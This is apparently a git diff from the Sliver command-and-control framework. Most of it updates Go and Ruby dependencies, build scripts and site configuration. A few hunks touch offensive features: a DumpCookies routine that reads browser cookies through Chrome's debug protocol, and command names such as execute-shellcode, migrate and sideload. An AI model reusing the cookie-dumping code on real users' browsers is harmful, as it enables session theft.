"overflow": &grumble.FlagMapItem{Value: false},
"skip-pages": &grumble.FlagMapItem{Value: 0},
"print-cmdline": &grumble.FlagMapItem{Value: true},
"tree": &grumble.FlagMapItem{Value: false},
},
}
processes.PrintPS(beacon.OS, ps, true, ctx, con)
-1
View File
@@ -196,7 +196,6 @@ const (
RevToSelfStr = "rev2self"
ExecuteAssemblyStr = "execute-assembly"
ExecuteShellcodeStr = "execute-shellcode"
ExecuteInMemoryStr = "execute-in-memory"
MigrateStr = "migrate"
SideloadStr = "sideload"
SpawnDllStr = "spawndll"
+8 -12
View File
@@ -22,8 +22,7 @@ import (
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"io"
"log"
"net/http"
"net/url"
@@ -59,7 +58,7 @@ const (
var (
// ErrTargetNotFound - Returned when a target cannot be found
ErrTargetNotFound = errors.New("Target not found")
ErrTargetNotFound = errors.New("target not found")
)
// ManifestBackground - An extension manifest file
@@ -129,7 +128,7 @@ func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
return nil
}
for _, targetInfo := range targets {
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
if targetInfo.TargetID.String() == targetID {
return targetInfo
}
}
@@ -227,9 +226,9 @@ func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
return nil, errors.New("non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
data, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
@@ -245,9 +244,9 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
return nil, errors.New("non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
data, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
@@ -276,13 +275,10 @@ func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Coo
dumpCookieTasks := chromedp.Tasks{
// read network values
chromedp.ActionFunc(func(ctx context.Context) error {
cookies, err = network.GetAllCookies().Do(ctx)
cookies, err = network.GetCookies().Do(ctx)
if err != nil {
return err
}
// for i, cookie := range cookies {
// log.Printf("chrome cookie %d: %+v", i, cookie)
// }
return nil
}),
}
+2
View File
@@ -37,3 +37,5 @@ gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
# kramdown v1, comment out this line.
gem "kramdown-parser-gfm"
gem "webrick", "~> 1.8"
+43 -61
View File
@@ -1,62 +1,43 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.4.6)
activesupport (6.0.6.1)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
tzinfo (~> 1.1)
zeitwerk (~> 2.2, >= 2.2.2)
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
coffee-script (2.4.1)
coffee-script-source
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.6)
concurrent-ruby (1.1.9)
commonmarker (0.23.8)
concurrent-ruby (1.2.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
ethon (0.15.0)
ethon (0.16.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (1.10.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.0)
faraday-patron (~> 1.0)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
faraday (2.7.4)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.2.0)
faraday-patron (1.0.0)
faraday-rack (1.0.0)
faraday-retry (1.0.3)
faraday-net_http (3.0.2)
ffi (1.15.5)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (225)
github-pages (228)
github-pages-health-check (= 1.17.9)
jekyll (= 3.9.0)
jekyll (= 3.9.3)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.2.0)
jekyll-commonmark-ghpages (= 0.4.0)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
@@ -88,12 +69,12 @@ GEM
jekyll-theme-time-machine (= 0.2.0)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.1)
kramdown (= 2.3.2)
kramdown-parser-gfm (= 1.1.0)
liquid (= 4.0.3)
liquid (= 4.0.4)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.12.5, < 2.0)
nokogiri (>= 1.13.6, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.9)
@@ -102,17 +83,17 @@ GEM
octokit (~> 4.0)
public_suffix (>= 3.0, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
html-pipeline (2.14.3)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.8.0)
i18n (0.9.5)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
jekyll (3.9.3)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (~> 0.7)
i18n (>= 0.7, < 2)
jekyll-sass-converter (~> 1.0)
jekyll-watch (~> 2.0)
kramdown (>= 1.17, < 3)
@@ -128,11 +109,11 @@ GEM
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.2.0)
commonmarker (~> 0.23.4)
jekyll-commonmark-ghpages (0.4.0)
commonmarker (~> 0.23.7)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
rouge (>= 2.0, < 4.0)
rouge (>= 2.0, < 5.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
jekyll-feed (0.15.1)
@@ -216,33 +197,32 @@ GEM
gemoji (~> 3.0)
html-pipeline (~> 2.2)
jekyll (>= 3.0, < 5.0)
kramdown (2.3.1)
kramdown (2.3.2)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.7.1)
liquid (4.0.4)
listen (3.8.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.8.0)
mini_portile2 (2.8.1)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.13.9)
minitest (5.17.0)
nokogiri (1.14.1)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.22.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
octokit (4.25.1)
faraday (>= 1, < 3)
sawyer (~> 0.9)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.6)
racc (1.6.0)
rb-fsevent (0.11.1)
public_suffix (4.0.7)
racc (1.6.2)
rb-fsevent (0.11.2)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
@@ -255,9 +235,9 @@ GEM
sass-listen (4.0.0)
rb-fsevent (~> 0.9, >= 0.9.4)
rb-inotify (~> 0.9, >= 0.9.7)
sawyer (0.8.2)
sawyer (0.9.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
faraday (>= 0.17.3, < 3)
simpleidn (0.2.1)
unf (~> 0.1.4)
terminal-table (1.8.0)
@@ -265,16 +245,17 @@ GEM
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.10)
tzinfo (1.2.11)
thread_safe (~> 0.1)
tzinfo-data (1.2021.5)
tzinfo-data (1.2022.7)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8)
unf_ext (0.0.8.2)
unicode-display_width (1.8.0)
wdm (0.1.1)
zeitwerk (2.5.4)
webrick (1.8.1)
zeitwerk (2.6.7)
PLATFORMS
ruby
@@ -287,6 +268,7 @@ DEPENDENCIES
tzinfo (~> 1.2)
tzinfo-data
wdm (~> 0.1.0)
webrick (~> 1.8)
BUNDLED WITH
1.17.3
2.4.6
+9
View File
@@ -31,6 +31,15 @@ show_downloads: true
plugins:
- jekyll-feed
plugins:
- jekyll-notion
# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
notion:
fetch_on_watch: true
databases:
- id: 4bbf1c77cabc46e09428c871283683d3
# Exclude from processing.
# The following items will not be processed, by default. Create a custom list
# to override the default setting.
+2 -2
View File
@@ -170,6 +170,6 @@ for USER_DIR in "${USER_DIRS[@]}"; do
if id -u $USER >/dev/null 2>&1; then
mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:$USER $USER_DIR/.sliver-client/
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
fi
done
done
+3 -13
View File
@@ -20,10 +20,9 @@ set -e
# Creates the static go asset archives
GO_VER="1.19.3"
GARBLE_VER="1.19.4"
GO_VER="1.20.1"
GARBLE_VER="1.20.2"
SGN_VER="0.0.3"
LIBREFLECT_VER="1.0.3"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
@@ -158,7 +157,7 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
@@ -191,15 +190,6 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
echo "-----------------------------------------------------------------"
echo " Libreflect"
echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/lib/libreflect.tar.gz https://github.com/sliverarmory/libreflect/releases/download/v$LIBREFLECT_VER/libreflect.tar.gz"
curl -L --fail --output $OUTPUT_DIR/lib/libreflect.tar.gz https://github.com/sliverarmory/libreflect/releases/download/v$LIBREFLECT_VER/libreflect.tar.gz
tar xzf $OUTPUT_DIR/lib/libreflect.tar.gz -C $OUTPUT_DIR/lib
rm $OUTPUT_DIR/lib/libreflect.tar.gz
# end
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
+32 -43
View File
@@ -13,48 +13,47 @@ require (
github.com/Ne0nd0g/go-clr v1.0.3
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
github.com/chromedp/chromedp v0.8.6
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc
github.com/chromedp/chromedp v0.8.7
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.3.1+incompatible
github.com/fatih/color v1.14.1
github.com/gofrs/uuid v4.4.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
github.com/jedib0t/go-pretty/v6 v6.4.2
github.com/jedib0t/go-pretty/v6 v6.4.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.16
github.com/miekg/dns v1.1.50
github.com/miekg/dns v1.1.51
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.22.10
github.com/pquerna/otp v1.4.0
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.6.1
github.com/stretchr/testify v1.8.1
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/things-go/go-socks5 v0.0.3
github.com/xlab/treeprint v1.1.0
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.4.0
golang.org/x/crypto v0.6.0
golang.org/x/net v0.7.0
golang.org/x/sys v0.5.0
golang.org/x/term v0.5.0
golang.org/x/text v0.7.0
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/grpc v1.53.0
google.golang.org/protobuf v1.28.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.4.4
gorm.io/driver/postgres v1.4.5
gorm.io/driver/sqlite v1.4.3
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755
gorm.io/driver/mysql v1.4.7
gorm.io/driver/postgres v1.4.8
gorm.io/driver/sqlite v1.4.4
gorm.io/gorm v1.24.5
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
modernc.org/sqlite v1.19.3
modernc.org/sqlite v1.21.0
)
require (
@@ -71,9 +70,9 @@ require (
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/dustin/go-humanize v1.0.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.6.0 // indirect
github.com/go-sql-driver/mysql v1.7.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
@@ -83,40 +82,30 @@ require (
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/inconshreveable/mousetrap v1.0.1 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.13.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.12.0 // indirect
github.com/jackc/pgx/v4 v4.17.2 // indirect
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
github.com/jackc/pgx/v5 v5.3.0 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.16 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.17 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
github.com/yusufpapurcu/wmi v1.2.2 // indirect
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
golang.org/x/mod v0.7.0 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.12 // indirect
golang.org/x/tools v0.3.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
@@ -125,10 +114,10 @@ require (
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/uint128 v1.2.0 // indirect
modernc.org/cc/v3 v3.40.0 // indirect
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 // indirect
modernc.org/libc v1.21.2 // indirect
modernc.org/ccgo/v3 v3.16.13 // indirect
modernc.org/libc v1.22.3 // indirect
modernc.org/mathutil v1.5.0 // indirect
modernc.org/memory v1.4.0 // indirect
modernc.org/memory v1.5.0 // indirect
modernc.org/opt v0.1.3 // indirect
modernc.org/strutil v1.1.3 // indirect
modernc.org/token v1.0.1 // indirect
+91 -252
View File
@@ -1,6 +1,7 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.34.0 h1:eOI3/cP2VTU6uZLDYAoic+eyzzB9YyGmJ7eIjl8rOPg=
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.105.0 h1:DNtEKRBAAzeS4KyIory52wWHuClNaXJ5x1F7xa4q+5Y=
cloud.google.com/go/compute v1.15.1 h1:7UGq3QknM33pw5xATlpzeoomNxsacIVvTqTTvbfajmE=
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
@@ -19,8 +20,6 @@ github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRl
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/Masterminds/semver/v3 v3.1.1 h1:hLg3sBzpNErnxhQtUy/mmLR2I9foDujNK030IGemrRc=
github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
@@ -37,7 +36,6 @@ github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
@@ -45,13 +43,12 @@ github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777 h1:nEnjcdmVQjhtQm0RFJxRINMw7lsQ8gidtbpsidiDqpY=
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
github.com/chromedp/chromedp v0.8.6 h1:KobeeqR2dpfKSG1prS3Y6+FbffMmGC6xmAobRXA9QEQ=
github.com/chromedp/chromedp v0.8.6/go.mod h1:nBYHoD6YSNzrr82cIeuOzhw1Jo/s2o0QQ+ifTeoCZ+c=
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc h1:pgBIUnhrsNh0Xi+8qUdHIP/nljIVz3laeRv23eqr45M=
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
github.com/chromedp/chromedp v0.8.7 h1:dYOYc5ynTBzwSLOi+1IfgHwPr8r2BqV48l/RC+3OuJ0=
github.com/chromedp/chromedp v0.8.7/go.mod h1:iL+ywnwk3eG3EVXV1ackXBMNzdEh3Ye/KHvQkq1KRKU=
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
@@ -60,18 +57,9 @@ github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWs
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI=
github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I=
github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ=
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -90,30 +78,23 @@ github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
